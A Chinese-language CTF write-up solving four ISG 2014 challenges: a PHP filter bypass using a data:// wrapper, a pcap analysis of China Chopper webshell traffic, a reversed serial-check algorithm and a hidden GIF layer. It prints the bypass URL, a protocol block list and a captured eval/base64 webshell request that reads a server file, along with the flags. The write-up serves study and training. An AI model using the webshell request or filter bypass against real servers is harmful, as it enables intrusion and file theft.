Smile 点击界面上的链接http://202.120.7.104:8888/?view-source
即可看到界面源码,其中php部分如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
if (isset($_GET['view-source'])) {
show_source(__FILE__);
exit();
}
include('flag.php');
$smile = 1;
if (!isset ($_GET['^_^'])) $smile = 0;
if (ereg ('\.', $_GET['^_^'])) $smile = 0;
if (ereg ('%', $_GET['^_^'])) $smile = 0;
if (ereg ('[0-9]', $_GET['^_^'])) $smile = 0;
if (ereg ('http', $_GET['^_^']) ) $smile = 0;
if (ereg ('https', $_GET['^_^']) ) $smile = 0;
if (ereg ('ftp', $_GET['^_^'])) $smile = 0;
if (ereg ('telnet', $_GET['^_^'])) $smile = 0;
if (ereg ('_', $_SERVER['QUERY_STRING'])) $smile = 0;
if ($smile) {
if (@file_exists ($_GET['^_^'])) $smile = 0;
}
if ($smile) {
$smile = @file_get_contents ($_GET['^_^']);
if ($smile === "(●'◡'●)") die($flag);
}
?>
服务器会包含一个flag.php文件,该文件直接访问无输出,但应该定义了`$flag
变量。
为了最终`die($flag)``的顺利执行,需要绕过上面的各种验证,而逻辑本身有两处矛盾:
$_GET
数组本身提取自QUERY_STRING
,$_GET['^_^']
中key
包含_
符号,而QUERY_STRING
却不允许。file_exists
需要寻找的文件必须不存在,但file_get_contents
却能读到文件内容。 当然除了逻辑还有上面那一堆限制,比如参数的value
但不可包含. % 0-9
数字 http(s) ftp telnet
关键字,文件的内容为unicode的笑脸。 这里直接给出最终方案:
当.
或[]
之类的符号作为参数的key
的时候,会被PHP改写为_
,但由于QUERY_STRING
为用户提交的内容,所以不修改。具体参见http://ca.php.net/variables.external。 file_get_contents可以获取远程数据,但常用网络协议已经被正则过滤,因此需要选取其他协议。查阅PHP支持的协议和包装,发现RFC 2397的data协议可用。巧合的是,file_exists对于data指向内容判断为不存在。 最终构造url为:1
http://202.120.7.104:8888/?^.^=data://text/plain;charset=unicode,(●'◡'●)
flag为ISG{_1N2N3N4N5N6B7B8B9B10B_}
。
Chopper pcap分析,重点看HTTP包。 Follow一系列HTTP包之后发现,用户在url请求中不断提交一些编码的内容,url解码后再base64解码,发现是php脚本。 这一系列动作大致为:获取主机类型,获取文件列表,并最终获取文件。
最后一个HTTP包拼接后为:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
POST /isg.php HTTP/1.1
Cache-Control: no-cache
X-Forwarded-For: 10.197.194.76
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.1.10/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: 192.168.1.10
Content-Length: 470
Connection: Close
ISG2014=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRj1nZXRfbWFnaWNfcXVvdGVzX2dwYygpP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXTskZnA9QGZvcGVuKCRGLCJyIik7aWYoQGZnZXRjKCRmcCkpe0BmY2xvc2UoJGZwKTtAcmVhZGZpbGUoJEYpO31lbHNle2VjaG8oIkVSUk9SOi8vIENhbiBOb3QgUmVhZCIpO307ZWNobygifDwtIik7ZGllKCk7&z1=%2Fvar%2Fwww%2Fhtml%2Fx.tar.gzHTTP/1.1 200 OK
Date: Sun, 07 Sep 2014 16:34:23 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-Length: 180
Connection: close
Content-Type: text/html; charset=UTF-8
->|....2..T.....
.0....^E..&.s..Rp....D[,...
..[...:...g9.w..].
.....>...y...4._9...I..0.a..E4.d...b.1c..i...m........X...:i...m.Uy......Q.+.j.6f..F....k..............o....=.(..|<-
request解码后就是文件获取的脚本,对于response内容直接把raw输出到文件,命名为request中发现的x.tar.gz,解压得到flag:ISG{China_Ch0pper_Is_A_Slick_Little_Webshe11}
。
Cryptobaby 密码题,需要先逆向。程序本身要求需要输入正确的序列号。
逆向不难,直接OD找字符串Wrong,之后转到代码,下断跟踪,发现正误判断处为一个内存数据和函数返回结果对比。
其中对比的内存数据如下(28个字节):1
2
012F3018 E5 AD 50 0D |89 27 30 0E |1F 6F D6 0E |FF 63 D4 0C 瀛P.?0o?c?
012F3028 DD 94 0D 0E |1F 46 A4 0F |A2 1D D9 0C 輸.F???....
而数据算法函数为:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
.text:00401000
.text:00401000 ; =============== S U B R O U T I N E =======================================
.text:00401000
.text:00401000 ; Attributes: bp-based frame
.text:00401000
.text:00401000 sub_401000 proc near ; CODE XREF: sub_401050+28p
.text:00401000
.text:00401000 var_C = dword ptr -0Ch
.text:00401000 var_8 = dword ptr -8
.text:00401000 var_4 = dword ptr -4
.text:00401000 arg_0 = dword ptr 8
.text:00401000 arg_4 = dword ptr 0Ch
.text:00401000
.text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401003 sub esp, 0Ch
.text:00401006 mov [ebp+var_8], 83h
.text:0040100D mov [ebp+var_4], 0
.text:00401014 mov [ebp+var_C], 0
.text:0040101B jmp short loc_401026
.text:0040101D ; ---------------------------------------------------------------------------
.text:0040101D
.text:0040101D loc_40101D: ; CODE XREF: sub_401000+43j
.text:0040101D mov eax, [ebp+var_C]
.text:00401020 add eax, 1
.text:00401023 mov [ebp+var_C], eax
.text:00401026
.text:00401026 loc_401026: ; CODE XREF: sub_401000+1Bj
.text:00401026 mov ecx, [ebp+var_C]
.text:00401029 cmp ecx, [ebp+arg_4]
.text:0040102C jnb short loc_401045
.text:0040102E mov edx, [ebp+var_4]
.text:00401031 imul edx, [ebp+var_8]
.text:00401035 mov eax, [ebp+arg_0]
.text:00401038 add eax, [ebp+var_C]
.text:0040103B movzx ecx, byte ptr [eax]
.text:0040103E add edx, ecx
.text:00401040 mov [ebp+var_4], edx
.text:00401043 jmp short loc_40101D
.text:00401045 ; ---------------------------------------------------------------------------
.text:00401045
.text:00401045 loc_401045: ; CODE XREF: sub_401000+2Cj
.text:00401045 mov eax, [ebp+var_4]
.text:00401048 mov esp, ebp
.text:0040104A pop ebp
.text:0040104B retn
.text:0040104B sub_401000 endp
翻译成C语言为:1
2
3
4
5
6
7
8
9
10
11
int algorithm(char* str, unsigned int len)
{
int i;
int r;
r = 0;
for(i = 0; i < len; ++i)
r = str[i] + 131 * r;
return r;
}
需要对输入的28个字节数据分别应用上面的算法,每4个字节为一组,一共调用7次。
由于本人太懒,算法反函数直接采用Python穷举ASCII可见字符(data为内存数据):1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
symbol = range(0x20, 0x7a)
data = [0x0d50ade5, 0x0e302789, 0x0ed66f1f, 0x0cd463ff, 0x0e0d94dd, 0x0fa4461f, 0x0cd91da2]
str = ""
for i in range(len(data)):
for a in symbol:
for b in symbol:
for c in symbol:
for d in symbol:
r = 131**3*a + 131**2*b + 131*c + d
if r == data[i]:
str += chr(a) + chr(b) + chr(c) + chr(d)
break
print('result: ' + str)
得到结果c011isi0n_is_a_thre4t_t0_sec
。加上ISG{}即为flag。
不过这个算法并不好,后来大神@JackPan助攻,直接看出是进制算法(131进制),因此可以直接写出反函数:1
2
3
4
5
6
7
8
9
10
11
data = [0x0d50ade5, 0x0e302789, 0x0ed66f1f, 0x0cd463ff, 0x0e0d94dd, 0x0fa4461f, 0x0cd91da2]
str = ""
for i in range(len(data) - 1, -1, -1):
num = data[i]
while num > 0:
r = num % 131
num = int(num / 131)
str = chr(r) + str
print('result: ' + str)
这样就能秒出结果。
GIF 送分题。gif图为多帧,down下后直接拖到ps中,发现还有一个隐藏图层,打开后扫描图片上二维码即为flag:ISG{Solv3d_iN_SEConds_WiTH_RiGHT_T00Ls}
。